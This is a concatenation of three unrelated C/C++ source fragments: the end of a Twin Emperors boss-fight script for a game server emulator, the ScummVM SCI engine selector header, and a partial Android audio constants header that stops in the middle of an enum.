uint32 Scarabs_Timer;
void Reset() override
{
TwinReset();
Initialize();
//Added. Can be removed if its included in DB.
me->ApplySpellImmune(0, IMMUNITY_DAMAGE, SPELL_SCHOOL_MASK_MAGIC, true);
}
void CastSpellOnBug(Creature* target) override
{
target->setFaction(14);
target->AI()->AttackStart(me->getThreatManager().getHostilTarget());
target->AddAura(SPELL_MUTATE_BUG, target);
target->SetFullHealth();
}
void UpdateAI(uint32 diff) override
{
//Return since we have no target
if (!UpdateVictim())
return;
if (!TryActivateAfterTTelep(diff))
return;
//UnbalancingStrike_Timer
if (UnbalancingStrike_Timer <= diff)
{
DoCastVictim(SPELL_UNBALANCING_STRIKE);
UnbalancingStrike_Timer = 8000 + rand32() % 12000;
} else UnbalancingStrike_Timer -= diff;
if (UpperCut_Timer <= diff)
{
Unit* randomMelee = SelectTarget(SELECT_TARGET_RANDOM, 0, NOMINAL_MELEE_RANGE, true);
if (randomMelee)
DoCast(randomMelee, SPELL_UPPERCUT);
UpperCut_Timer = 15000 + rand32() % 15000;
} else UpperCut_Timer -= diff;
HandleBugs(diff);
//Heal brother when 60yrds close
TryHealBrother(diff);
//Teleporting to brother
if (Teleport_Timer <= diff)
{
TeleportToMyBrother();
} else Teleport_Timer -= diff;
CheckEnrage(diff);
DoMeleeAttackIfReady();
}
};
};
class boss_veklor : public CreatureScript
{
public:
boss_veklor() : CreatureScript("boss_veklor") { }
CreatureAI* GetAI(Creature* creature) const override
{
return GetInstanceAI<boss_veklorAI>(creature);
}
struct boss_veklorAI : public boss_twinemperorsAI
{
bool IAmVeklor() override {return true;}
boss_veklorAI(Creature* creature) : boss_twinemperorsAI(creature)
{
Initialize();
}
void Initialize()
{
ShadowBolt_Timer = 0;
Blizzard_Timer = urand(15000, 20000);
ArcaneBurst_Timer = 1000;
Scorpions_Timer = urand(7000, 14000);
}
uint32 ShadowBolt_Timer;
uint32 Blizzard_Timer;
uint32 ArcaneBurst_Timer;
uint32 Scorpions_Timer;
void Reset() override
{
TwinReset();
Initialize();
//Added. Can be removed if its included in DB.
me->ApplySpellImmune(0, IMMUNITY_DAMAGE, SPELL_SCHOOL_MASK_NORMAL, true);
}
void CastSpellOnBug(Creature* target) override
{
target->setFaction(14);
target->AddAura(SPELL_EXPLODEBUG, target);
target->SetFullHealth();
}
void UpdateAI(uint32 diff) override
{
//Return since we have no target
if (!UpdateVictim())
return;
// reset arcane burst after teleport - we need to do this because
// when VL jumps to VN's location there will be a warrior who will get only 2s to run away
// which is almost impossible
if (AfterTeleport)
ArcaneBurst_Timer = 5000;
if (!TryActivateAfterTTelep(diff))
return;
//ShadowBolt_Timer
if (ShadowBolt_Timer <= diff)
{
if (!me->IsWithinDist(me->GetVictim(), 45.0f))
me->GetMotionMaster()->MoveChase(me->GetVictim(), VEKLOR_DIST, 0);
else
DoCastVictim(SPELL_SHADOWBOLT);
ShadowBolt_Timer = 2000;
} else ShadowBolt_Timer -= diff;
//Blizzard_Timer
if (Blizzard_Timer <= diff)
{
Unit* target = NULL;
target = SelectTarget(SELECT_TARGET_RANDOM, 0, 45, true);
if (target)
DoCast(target, SPELL_BLIZZARD);
Blizzard_Timer = 15000 + rand32() % 15000;
} else Blizzard_Timer -= diff;
if (ArcaneBurst_Timer <= diff)
{
if (Unit* mvic = SelectTarget(SELECT_TARGET_NEAREST, 0, NOMINAL_MELEE_RANGE, true))
{
DoCast(mvic, SPELL_ARCANEBURST);
ArcaneBurst_Timer = 5000;
}
} else ArcaneBurst_Timer -= diff;
HandleBugs(diff);
//Heal brother when 60yrds close
TryHealBrother(diff);
//Teleporting to brother
if (Teleport_Timer <= diff)
{
TeleportToMyBrother();
} else Teleport_Timer -= diff;
CheckEnrage(diff);
//VL doesn't melee
//DoMeleeAttackIfReady();
}
void AttackStart(Unit* who) override
{
if (!who)
return;
if (who->isTargetableForAttack())
{
// VL doesn't melee
if (me->Attack(who, false))
{
me->GetMotionMaster()->MoveChase(who, VEKLOR_DIST, 0);
me->AddThreat(who, 0.0f);
}
}
}
};
};
void AddSC_boss_twinemperors()
{
new boss_veknilash();
new boss_veklor();
}
| Java |
/* ScummVM - Graphic Adventure Engine
*
* ScummVM is the legal property of its developers, whose names
* are too numerous to list here. Please refer to the COPYRIGHT
* file distributed with this source distribution.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
*/
#ifndef SCI_ENGINE_SELECTOR_H
#define SCI_ENGINE_SELECTOR_H
#include "common/scummsys.h"
#include "sci/engine/vm_types.h" // for reg_t
#include "sci/engine/vm.h"
namespace Sci {
/** Contains selector IDs for a few selected selectors */
struct SelectorCache {
SelectorCache() {
memset(this, 0, sizeof(*this));
}
// Statically defined selectors, (almost the) same in all SCI versions
Selector _info_; ///< Removed in SCI3
Selector y;
Selector x;
Selector view, loop, cel; ///< Description of a specific image
Selector underBits; ///< Used by the graphics subroutines to store backupped BG pic data
Selector nsTop, nsLeft, nsBottom, nsRight; ///< View boundaries ('now seen')
Selector lsTop, lsLeft, lsBottom, lsRight; ///< Used by Animate() subfunctions and scroll list controls
Selector signal; ///< Used by Animate() to control a view's behavior
Selector illegalBits; ///< Used by CanBeHere
Selector brTop, brLeft, brBottom, brRight; ///< Bounding Rectangle
// name, key, time
Selector text; ///< Used by controls
Selector elements; ///< Used by SetSynonyms()
// color, back
Selector mode; ///< Used by text controls (-> DrawControl())
// style
Selector state, font, type;///< Used by controls
// window
Selector cursor; ///< Used by EditControl
Selector max; ///< Used by EditControl, removed in SCI3
Selector mark; //< Used by list controls (script internal, is needed by us for the QfG import rooms)
Selector sort; //< Used by list controls (script internal, is needed by us for QfG3 import room)
// who
Selector message; ///< Used by GetEvent
// edit
Selector play; ///< Play function (first function to be called)
Selector number;
Selector handle; ///< Replaced by nodePtr in SCI1+
Selector nodePtr; ///< Replaces handle in SCI1+
Selector client; ///< The object that wants to be moved
Selector dx, dy; ///< Deltas
Selector b_movCnt, b_i1, b_i2, b_di, b_xAxis, b_incr; ///< Various Bresenham vars
Selector xStep, yStep; ///< BR adjustments
Selector xLast, yLast; ///< BR last position of client
Selector moveSpeed; ///< Used for DoBresen
Selector canBeHere; ///< Funcselector: Checks for movement validity in SCI0
Selector heading, mover; ///< Used in DoAvoider
Selector doit; ///< Called (!) by the Animate() system call
Selector isBlocked, looper; ///< Used in DoAvoider
Selector priority;
Selector modifiers; ///< Used by GetEvent
Selector replay; ///< Replay function
// setPri, at, next, done, width
Selector wordFail, syntaxFail; ///< Used by Parse()
// semanticFail, pragmaFail
// said
Selector claimed; ///< Used generally by the event mechanism
// value, save, restore, title, button, icon, draw
Selector delete_; ///< Called by Animate() to dispose a view object
Selector z;
// SCI1+ static selectors
Selector parseLang;
Selector printLang; ///< Used for i18n
Selector subtitleLang;
Selector size;
Selector points; ///< Used by AvoidPath()
Selector palette; ///< Used by the SCI0-SCI1.1 animate code, unused in SCI2-SCI2.1, removed in SCI3
Selector dataInc; ///< Used to sync music with animations, removed in SCI3
// handle (in SCI1)
Selector min; ///< SMPTE time format
Selector sec;
Selector frame;
Selector vol;
Selector pri;
// perform
Selector moveDone; ///< used for DoBresen
// SCI1 selectors which have been moved a bit in SCI1.1, but otherwise static
Selector cantBeHere; ///< Checks for movement avoidance in SCI1+. Replaces canBeHere
Selector topString; ///< SCI1 scroll lists use this instead of lsTop. Removed in SCI3
Selector flags;
// SCI1+ audio sync related selectors, not static. They're used for lip syncing in
// CD talkie games
Selector syncCue; ///< Used by DoSync()
Selector syncTime;
// SCI1.1 specific selectors
Selector scaleSignal; //< Used by kAnimate() for cel scaling (SCI1.1+)
Selector scaleX, scaleY; ///< SCI1.1 view scaling
Selector maxScale; ///< SCI1.1 view scaling, limit for cel, when using global scaling
Selector vanishingX; ///< SCI1.1 view scaling, used by global scaling
Selector vanishingY; ///< SCI1.1 view scaling, used by global scaling
// Used for auto detection purposes
Selector overlay; ///< Used to determine if a game is using old gfx functions or not
// SCI1.1 Mac icon bar selectors
Selector iconIndex; ///< Used to index icon bar objects
Selector select;
#ifdef ENABLE_SCI32
Selector data; // Used by Array()/String()
Selector picture; // Used to hold the picture ID for SCI32 pictures
Selector plane;
Selector top;
Selector left;
Selector bottom;
Selector right;
Selector resX;
Selector resY;
Selector fore;
Selector back;
Selector dimmed;
Selector fixPriority;
Selector mirrored;
Selector useInsetRect;
Selector inTop, inLeft, inBottom, inRight;
#endif
};
/**
* Map a selector name to a selector id. Shortcut for accessing the selector cache.
*/
#define SELECTOR(_slc_) (g_sci->getKernel()->_selectorCache._slc_)
/**
* Retrieves a selector from an object.
* @param segMan the segment mananger
* @param _obj_ the address of the object which the selector should be read from
* @param _slc_ the selector to refad
* @return the selector value as a reg_t
* This macro halts on error. 'selector' must be a selector name registered in vm.h's
* SelectorCache and mapped in script.cpp.
*/
reg_t readSelector(SegManager *segMan, reg_t object, Selector selectorId);
#define readSelectorValue(segMan, _obj_, _slc_) (readSelector(segMan, _obj_, _slc_).offset)
/**
* Writes a selector value to an object.
* @param segMan the segment mananger
* @param _obj_ the address of the object which the selector should be written to
* @param _slc_ the selector to read
* @param _val_ the value to write
* This macro halts on error. 'selector' must be a selector name registered in vm.h's
* SelectorCache and mapped in script.cpp.
*/
void writeSelector(SegManager *segMan, reg_t object, Selector selectorId, reg_t value);
#define writeSelectorValue(segMan, _obj_, _slc_, _val_) writeSelector(segMan, _obj_, _slc_, make_reg(0, _val_))
/**
* Invokes a selector from an object.
*/
void invokeSelector(EngineState *s, reg_t object, int selectorId,
int k_argc, StackPtr k_argp, int argc = 0, const reg_t *argv = 0);
} // End of namespace Sci
#endif // SCI_ENGINE_KERNEL_H
| Java |
// This file is autogenerated by hidl-gen
// then manualy edited for retrocompatiblity
// Source: android.hardware.audio.common@4.0
// Root: android.hardware:hardware/interfaces
#ifndef HIDL_GENERATED_ANDROID_HARDWARE_AUDIO_COMMON_V4_0_EXPORTED_CONSTANTS_H_
#define HIDL_GENERATED_ANDROID_HARDWARE_AUDIO_COMMON_V4_0_EXPORTED_CONSTANTS_H_
#ifdef __cplusplus
extern "C" {
#endif
enum {
AUDIO_IO_HANDLE_NONE = 0,
AUDIO_MODULE_HANDLE_NONE = 0,
AUDIO_PORT_HANDLE_NONE = 0,
AUDIO_PATCH_HANDLE_NONE = 0,
};
typedef enum {
AUDIO_STREAM_DEFAULT = -1, // (-1)
AUDIO_STREAM_MIN = 0,
AUDIO_STREAM_VOICE_CALL = 0,
AUDIO_STREAM_SYSTEM = 1,
AUDIO_STREAM_RING = 2,
AUDIO_STREAM_MUSIC = 3,
AUDIO_STREAM_ALARM = 4,
AUDIO_STREAM_NOTIFICATION = 5,
AUDIO_STREAM_BLUETOOTH_SCO = 6,
AUDIO_STREAM_ENFORCED_AUDIBLE = 7,
AUDIO_STREAM_DTMF = 8,
AUDIO_STREAM_TTS = 9,
AUDIO_STREAM_ACCESSIBILITY = 10,
#ifndef AUDIO_NO_SYSTEM_DECLARATIONS
/** For dynamic policy output mixes. Only used by the audio policy */
AUDIO_STREAM_REROUTING = 11,
/** For audio flinger tracks volume. Only used by the audioflinger */
AUDIO_STREAM_PATCH = 12,
#endif // AUDIO_NO_SYSTEM_DECLARATIONS
} audio_stream_type_t;
typedef enum {
AUDIO_SOURCE_DEFAULT = 0,
AUDIO_SOURCE_MIC = 1,
AUDIO_SOURCE_VOICE_UPLINK = 2,
AUDIO_SOURCE_VOICE_DOWNLINK = 3,
AUDIO_SOURCE_VOICE_CALL = 4,
AUDIO_SOURCE_CAMCORDER = 5,
AUDIO_SOURCE_VOICE_RECOGNITION = 6,
AUDIO_SOURCE_VOICE_COMMUNICATION = 7,
AUDIO_SOURCE_REMOTE_SUBMIX = 8,
AUDIO_SOURCE_UNPROCESSED = 9,
AUDIO_SOURCE_FM_TUNER = 1998,
#ifndef AUDIO_NO_SYSTEM_DECLARATIONS
/**
* A low-priority, preemptible audio source for for background software
* hotword detection. Same tuning as VOICE_RECOGNITION.
* Used only internally by the framework.
*/
AUDIO_SOURCE_HOTWORD = 1999,
#endif // AUDIO_NO_SYSTEM_DECLARATIONS
} audio_source_t;
typedef enum {
AUDIO_SESSION_OUTPUT_STAGE = -1, // (-1)
AUDIO_SESSION_OUTPUT_MIX = 0,
AUDIO_SESSION_ALLOCATE = 0,
AUDIO_SESSION_NONE = 0,
} audio_session_t;
typedef enum {
AUDIO_FORMAT_INVALID = 0xFFFFFFFFu,
AUDIO_FORMAT_DEFAULT = 0,
AUDIO_FORMAT_PCM = 0x00000000u,
AUDIO_FORMAT_MP3 = 0x01000000u,
AUDIO_FORMAT_AMR_NB = 0x02000000u,
AUDIO_FORMAT_AMR_WB = 0x03000000u,
AUDIO_FORMAT_AAC = 0x04000000u,
AUDIO_FORMAT_HE_AAC_V1 = 0x05000000u,
AUDIO_FORMAT_HE_AAC_V2 = 0x06000000u,
AUDIO_FORMAT_VORBIS = 0x07000000u,
AUDIO_FORMAT_OPUS = 0x08000000u,
AUDIO_FORMAT_AC3 = 0x09000000u,
AUDIO_FORMAT_E_AC3 = 0x0A000000u,
AUDIO_FORMAT_DTS = 0x0B000000u,
AUDIO_FORMAT_DTS_HD = 0x0C000000u,
AUDIO_FORMAT_IEC61937 = 0x0D000000u,
AUDIO_FORMAT_DOLBY_TRUEHD = 0x0E000000u,
AUDIO_FORMAT_EVRC = 0x10000000u,
AUDIO_FORMAT_EVRCB = 0x11000000u,
AUDIO_FORMAT_EVRCWB = 0x12000000u,
AUDIO_FORMAT_EVRCNW = 0x13000000u,
AUDIO_FORMAT_AAC_ADIF = 0x14000000u,
AUDIO_FORMAT_WMA = 0x15000000u,
AUDIO_FORMAT_WMA_PRO = 0x16000000u,
AUDIO_FORMAT_AMR_WB_PLUS = 0x17000000u,
AUDIO_FORMAT_MP2 = 0x18000000u,
AUDIO_FORMAT_QCELP = 0x19000000u,
AUDIO_FORMAT_DSD = 0x1A000000u,
AUDIO_FORMAT_FLAC = 0x1B000000u,
AUDIO_FORMAT_ALAC = 0x1C000000u,
AUDIO_FORMAT_APE = 0x1D000000u,
AUDIO_FORMAT_AAC_ADTS = 0x1E000000u,
AUDIO_FORMAT_SBC = 0x1F000000u,
AUDIO_FORMAT_APTX = 0x20000000u,
AUDIO_FORMAT_APTX_HD = 0x21000000u,
AUDIO_FORMAT_AC4 = 0x22000000u,
AUDIO_FORMAT_LDAC = 0x23000000u,
AUDIO_FORMAT_MAT = 0x24000000u,
AUDIO_FORMAT_MAIN_MASK = 0xFF000000u,
AUDIO_FORMAT_SUB_MASK = 0x00FFFFFFu,
/* Subformats */
AUDIO_FORMAT_PCM_SUB_16_BIT = 0x1u,
AUDIO_FORMAT_PCM_SUB_8_BIT = 0x2u,
AUDIO_FORMAT_PCM_SUB_32_BIT = 0x3u,
AUDIO_FORMAT_PCM_SUB_8_24_BIT = 0x4u,
AUDIO_FORMAT_PCM_SUB_FLOAT = 0x5u,
AUDIO_FORMAT_PCM_SUB_24_BIT_PACKED = 0x6u,
AUDIO_FORMAT_MP3_SUB_NONE = 0x0u,
AUDIO_FORMAT_AMR_SUB_NONE = 0x0u,
AUDIO_FORMAT_AAC_SUB_MAIN = 0x1u,
AUDIO_FORMAT_AAC_SUB_LC = 0x2u,
AUDIO_FORMAT_AAC_SUB_SSR = 0x4u,
AUDIO_FORMAT_AAC_SUB_LTP = 0x8u,
AUDIO_FORMAT_AAC_SUB_HE_V1 = 0x10u,
AUDIO_FORMAT_AAC_SUB_SCALABLE = 0x20u,
AUDIO_FORMAT_AAC_SUB_ERLC = 0x40u,
AUDIO_FORMAT_AAC_SUB_LD = 0x80u,
AUDIO_FORMAT_AAC_SUB_HE_V2 = 0x100u,
AUDIO_FORMAT_AAC_SUB_ELD = 0x200u,
AUDIO_FORMAT_AAC_SUB_XHE = 0x300u,
AUDIO_FORMAT_VORBIS_SUB_NONE = 0x0u,
AUDIO_FORMAT_E_AC3_SUB_JOC = 0x1u,
AUDIO_FORMAT_MAT_SUB_1_0 = 0x1u,
AUDIO_FORMAT_MAT_SUB_2_0 = 0x2u,
AUDIO_FORMAT_MAT_SUB_2_1 = 0x3u,
/* Aliases */
AUDIO_FORMAT_PCM_16_BIT = 0x1u, // (PCM | PCM_SUB_16_BIT)
AUDIO_FORMAT_PCM_8_BIT = 0x2u, // (PCM | PCM_SUB_8_BIT)
AUDIO_FORMAT_PCM_32_BIT = 0x3u, // (PCM | PCM_SUB_32_BIT)
AUDIO_FORMAT_PCM_8_24_BIT = 0x4u, // (PCM | PCM_SUB_8_24_BIT)
AUDIO_FORMAT_PCM_FLOAT = 0x5u, // (PCM | PCM_SUB_FLOAT)
AUDIO_FORMAT_PCM_24_BIT_PACKED = 0x6u, // (PCM | PCM_SUB_24_BIT_PACKED)
AUDIO_FORMAT_AAC_MAIN = 0x4000001u, // (AAC | AAC_SUB_MAIN)
AUDIO_FORMAT_AAC_LC = 0x4000002u, // (AAC | AAC_SUB_LC)
AUDIO_FORMAT_AAC_SSR = 0x4000004u, // (AAC | AAC_SUB_SSR)
AUDIO_FORMAT_AAC_LTP = 0x4000008u, // (AAC | AAC_SUB_LTP)
AUDIO_FORMAT_AAC_HE_V1 = 0x4000010u, // (AAC | AAC_SUB_HE_V1)
AUDIO_FORMAT_AAC_SCALABLE = 0x4000020u, // (AAC | AAC_SUB_SCALABLE)
AUDIO_FORMAT_AAC_ERLC = 0x4000040u, // (AAC | AAC_SUB_ERLC)
AUDIO_FORMAT_AAC_LD = 0x4000080u, // (AAC | AAC_SUB_LD)
AUDIO_FORMAT_AAC_HE_V2 = 0x4000100u, // (AAC | AAC_SUB_HE_V2)
AUDIO_FORMAT_AAC_ELD = 0x4000200u, // (AAC | AAC_SUB_ELD)
AUDIO_FORMAT_AAC_XHE = 0x4000300u, // (AAC | AAC_SUB_XHE)
AUDIO_FORMAT_AAC_ADTS_MAIN = 0x1e000001u, // (AAC_ADTS | AAC_SUB_MAIN)
AUDIO_FORMAT_AAC_ADTS_LC = 0x1e000002u, // (AAC_ADTS | AAC_SUB_LC)
AUDIO_FORMAT_AAC_ADTS_SSR = 0x1e000004u, // (AAC_ADTS | AAC_SUB_SSR)
AUDIO_FORMAT_AAC_ADTS_LTP = 0x1e000008u, // (AAC_ADTS | AAC_SUB_LTP)
AUDIO_FORMAT_AAC_ADTS_HE_V1 = 0x1e000010u, // (AAC_ADTS | AAC_SUB_HE_V1)
AUDIO_FORMAT_AAC_ADTS_SCALABLE = 0x1e000020u, // (AAC_ADTS | AAC_SUB_SCALABLE)
AUDIO_FORMAT_AAC_ADTS_ERLC = 0x1e000040u, // (AAC_ADTS | AAC_SUB_ERLC)
AUDIO_FORMAT_AAC_ADTS_LD = 0x1e000080u, // (AAC_ADTS | AAC_SUB_LD)
AUDIO_FORMAT_AAC_ADTS_HE_V2 = 0x1e000100u, // (AAC_ADTS | AAC_SUB_HE_V2)
AUDIO_FORMAT_AAC_ADTS_ELD = 0x1e000200u, // (AAC_ADTS | AAC_SUB_ELD)
AUDIO_FORMAT_AAC_ADTS_XHE = 0x1e000300u, // (AAC_ADTS | AAC_SUB_XHE)
AUDIO_FORMAT_E_AC3_JOC = 0xA000001u, // (E_AC3 | E_AC3_SUB_JOC)
AUDIO_FORMAT_MAT_1_0 = 0x24000001u, // (MAT | MAT_SUB_1_0)
AUDIO_FORMAT_MAT_2_0 = 0x24000002u, // (MAT | MAT_SUB_2_0)
AUDIO_FORMAT_MAT_2_1 = 0x24000003u, // (MAT | MAT_SUB_2_1)
} audio_format_t;
enum {
FCC_2 = 2,
FCC_8 = 8,
};
enum {
AUDIO_CHANNEL_REPRESENTATION_POSITION = 0x0u,
AUDIO_CHANNEL_REPRESENTATION_INDEX = 0x2u,
AUDIO_CHANNEL_NONE = 0x0u,
AUDIO_CHANNEL_INVALID = 0xC0000000u,
AUDIO_CHANNEL_OUT_FRONT_LEFT = 0x1u,
AUDIO_CHANNEL_OUT_FRONT_RIGHT = 0x2u,
AUDIO_CHANNEL_OUT_FRONT_CENTER = 0x4u,
AUDIO_CHANNEL_OUT_LOW_FREQUENCY = 0x8u,
AUDIO_CHANNEL_OUT_BACK_LEFT = 0x10u,
AUDIO_CHANNEL_OUT_BACK_RIGHT = 0x20u,
AUDIO_CHANNEL_OUT_FRONT_LEFT_OF_CENTER = 0x40u,
AUDIO_CHANNEL_OUT_FRONT_RIGHT_OF_CENTER = 0x80u,
AUDIO_CHANNEL_OUT_BACK_CENTER = 0x100u,
AUDIO_CHANNEL_OUT_SIDE_LEFT = 0x200u,
AUDIO_CHANNEL_OUT_SIDE_RIGHT = 0x400u,
AUDIO_CHANNEL_OUT_TOP_CENTER = 0x800u,
AUDIO_CHANNEL_OUT_TOP_FRONT_LEFT = 0x1000u,
AUDIO_CHANNEL_OUT_TOP_FRONT_CENTER = 0x2000u,
AUDIO_CHANNEL_OUT_TOP_FRONT_RIGHT = 0x4000u,
AUDIO_CHANNEL_OUT_TOP_BACK_LEFT = 0x8000u,
AUDIO_CHANNEL_OUT_TOP_BACK_CENTER = 0x10000u,
AUDIO_CHANNEL_OUT_TOP_BACK_RIGHT = 0x20000u,
AUDIO_CHANNEL_OUT_TOP_SIDE_LEFT = 0x40000u,
AUDIO_CHANNEL_OUT_TOP_SIDE_RIGHT = 0x80000u,
AUDIO_CHANNEL_OUT_MONO = 0x1u, // OUT_FRONT_LEFT
AUDIO_CHANNEL_OUT_STEREO = 0x3u, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT
AUDIO_CHANNEL_OUT_2POINT1 = 0xBu, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_LOW_FREQUENCY
AUDIO_CHANNEL_OUT_2POINT0POINT2 = 0xC0003u, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_TOP_SIDE_LEFT | OUT_TOP_SIDE_RIGHT
AUDIO_CHANNEL_OUT_2POINT1POINT2 = 0xC000Bu, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_TOP_SIDE_LEFT | OUT_TOP_SIDE_RIGHT | OUT_LOW_FREQUENCY
AUDIO_CHANNEL_OUT_3POINT0POINT2 = 0xC0007u, // OUT_FRONT_LEFT | OUT_FRONT_CENTER | OUT_FRONT_RIGHT | OUT_TOP_SIDE_LEFT | OUT_TOP_SIDE_RIGHT
AUDIO_CHANNEL_OUT_3POINT1POINT2 = 0xC000Fu, // OUT_FRONT_LEFT | OUT_FRONT_CENTER | OUT_FRONT_RIGHT | OUT_TOP_SIDE_LEFT | OUT_TOP_SIDE_RIGHT | OUT_LOW_FREQUENCY
AUDIO_CHANNEL_OUT_QUAD = 0x33u, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_BACK_LEFT | OUT_BACK_RIGHT
AUDIO_CHANNEL_OUT_QUAD_BACK = 0x33u, // OUT_QUAD
AUDIO_CHANNEL_OUT_QUAD_SIDE = 0x603u, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_SIDE_LEFT | OUT_SIDE_RIGHT
AUDIO_CHANNEL_OUT_SURROUND = 0x107u, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_FRONT_CENTER | OUT_BACK_CENTER
AUDIO_CHANNEL_OUT_PENTA = 0x37u, // OUT_QUAD | OUT_FRONT_CENTER
AUDIO_CHANNEL_OUT_5POINT1 = 0x3Fu, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_FRONT_CENTER | OUT_LOW_FREQUENCY | OUT_BACK_LEFT | OUT_BACK_RIGHT
AUDIO_CHANNEL_OUT_5POINT1_BACK = 0x3Fu, // OUT_5POINT1
AUDIO_CHANNEL_OUT_5POINT1_SIDE = 0x60Fu, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_FRONT_CENTER | OUT_LOW_FREQUENCY | OUT_SIDE_LEFT | OUT_SIDE_RIGHT
AUDIO_CHANNEL_OUT_5POINT1POINT2 = 0xC003Fu, // OUT_5POINT1 | OUT_TOP_SIDE_LEFT | OUT_TOP_SIDE_RIGHT
AUDIO_CHANNEL_OUT_5POINT1POINT4 = 0x2D03Fu, // OUT_5POINT1 | OUT_TOP_FRONT_LEFT | OUT_TOP_FRONT_RIGHT | OUT_TOP_BACK_LEFT | OUT_TOP_BACK_RIGHT
AUDIO_CHANNEL_OUT_6POINT1 = 0x13Fu, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_FRONT_CENTER | OUT_LOW_FREQUENCY | OUT_BACK_LEFT | OUT_BACK_RIGHT | OUT_BACK_CENTER
AUDIO_CHANNEL_OUT_7POINT1 = 0x63Fu, // OUT_FRONT_LEFT | OUT_FRONT_RIGHT | OUT_FRONT_CENTER | OUT_LOW_FREQUENCY | OUT_BACK_LEFT | OUT_BACK_RIGHT | OUT_SIDE_LEFT | OUT_SIDE_RIGHT
AUDIO_CHANNEL_OUT_7POINT1POINT2 = 0xC063Fu, // OUT_7POINT1 | OUT_TOP_SIDE_LEFT | OUT_TOP_SIDE_RIGHT
AUDIO_CHANNEL_OUT_7POINT1POINT4 = 0x2D63Fu, // OUT_7POINT1 | OUT_TOP_FRONT_LEFT | OUT_TOP_FRONT_RIGHT | OUT_TOP_BACK_LEFT | OUT_TOP_BACK_RIGHT
AUDIO_CHANNEL_IN_LEFT = 0x4u,
AUDIO_CHANNEL_IN_RIGHT = 0x8u,
AUDIO_CHANNEL_IN_FRONT = 0x10u,
AUDIO_CHANNEL_IN_BACK = 0x20u,
AUDIO_CHANNEL_IN_LEFT_PROCESSED = 0x40u,
AUDIO_CHANNEL_IN_RIGHT_PROCESSED = 0x80u,
AUDIO_CHANNEL_IN_FRONT_PROCESSED = 0x100u,
AUDIO_CHANNEL_IN_BACK_PROCESSED = 0x200u,
AUDIO_CHANNEL_IN_PRESSURE = 0x400u,
AUDIO_CHANNEL_IN_X_AXIS = 0x800u,
AUDIO_CHANNEL_IN_Y_AXIS = 0x1000u,
AUDIO_CHANNEL_IN_Z_AXIS = 0x2000u,
AUDIO_CHANNEL_IN_BACK_LEFT = 0x10000u,
AUDIO_CHANNEL_IN_BACK_RIGHT = 0x20000u,
AUDIO_CHANNEL_IN_CENTER = 0x40000u,
AUDIO_CHANNEL_IN_LOW_FREQUENCY = 0x100000u,
AUDIO_CHANNEL_IN_TOP_LEFT = 0x200000u,
AUDIO_CHANNEL_IN_TOP_RIGHT = 0x400000u,
AUDIO_CHANNEL_IN_VOICE_UPLINK = 0x4000u,
AUDIO_CHANNEL_IN_VOICE_DNLINK = 0x8000u,
AUDIO_CHANNEL_IN_MONO = 0x10u, // IN_FRONT
AUDIO_CHANNEL_IN_STEREO = 0xCu, // IN_LEFT | IN_RIGHT
AUDIO_CHANNEL_IN_FRONT_BACK = 0x30u, // IN_FRONT | IN_BACK
AUDIO_CHANNEL_IN_6 = 0xFCu, // IN_LEFT | IN_RIGHT | IN_FRONT | IN_BACK | IN_LEFT_PROCESSED | IN_RIGHT_PROCESSED
AUDIO_CHANNEL_IN_2POINT0POINT2 = 0x60000Cu, // IN_LEFT | IN_RIGHT | IN_TOP_LEFT | IN_TOP_RIGHT
AUDIO_CHANNEL_IN_2POINT1POINT2 = 0x70000Cu, // IN_LEFT | IN_RIGHT | IN_TOP_LEFT | IN_TOP_RIGHT | IN_LOW_FREQUENCY
AUDIO_CHANNEL_IN_3POINT0POINT2 = 0x64000Cu, // IN_LEFT | IN_CENTER | IN_RIGHT | IN_TOP_LEFT | IN_TOP_RIGHT
AUDIO_CHANNEL_IN_3POINT1POINT2 = 0x74000Cu, // IN_LEFT | IN_CENTER | IN_RIGHT | IN_TOP_LEFT | IN_TOP_RIGHT | IN_LOW_FREQUENCY
AUDIO_CHANNEL_IN_5POINT1 = 0x17000Cu, // IN_LEFT | IN_CENTER | IN_RIGHT | IN_BACK_LEFT | IN_BACK_RIGHT | IN_LOW_FREQUENCY
AUDIO_CHANNEL_IN_VOICE_UPLINK_MONO = 0x4010u, // IN_VOICE_UPLINK | IN_MONO
AUDIO_CHANNEL_IN_VOICE_DNLINK_MONO = 0x8010u, // IN_VOICE_DNLINK | IN_MONO
AUDIO_CHANNEL_IN_VOICE_CALL_MONO = 0xC010u, // IN_VOICE_UPLINK_MONO | IN_VOICE_DNLINK_MONO
AUDIO_CHANNEL_COUNT_MAX = 30u,
AUDIO_CHANNEL_INDEX_HDR = 0x80000000u, // REPRESENTATION_INDEX << COUNT_MAX
AUDIO_CHANNEL_INDEX_MASK_1 = 0x80000001u, // INDEX_HDR | (1 << 1) - 1
AUDIO_CHANNEL_INDEX_MASK_2 = 0x80000003u, // INDEX_HDR | (1 << 2) - 1
AUDIO_CHANNEL_INDEX_MASK_3 = 0x80000007u, // INDEX_HDR | (1 << 3) - 1
AUDIO_CHANNEL_INDEX_MASK_4 = 0x8000000Fu, // INDEX_HDR | (1 << 4) - 1
AUDIO_CHANNEL_INDEX_MASK_5 = 0x8000001Fu, // INDEX_HDR | (1 << 5) - 1
AUDIO_CHANNEL_INDEX_MASK_6 = 0x8000003Fu, // INDEX_HDR | (1 << 6) - 1
AUDIO_CHANNEL_INDEX_MASK_7 = 0x8000007Fu, // INDEX_HDR | (1 << 7) - 1
AUDIO_CHANNEL_INDEX_MASK_8 = 0x800000FFu, // INDEX_HDR | (1 << 8) - 1
};
typedef enum {
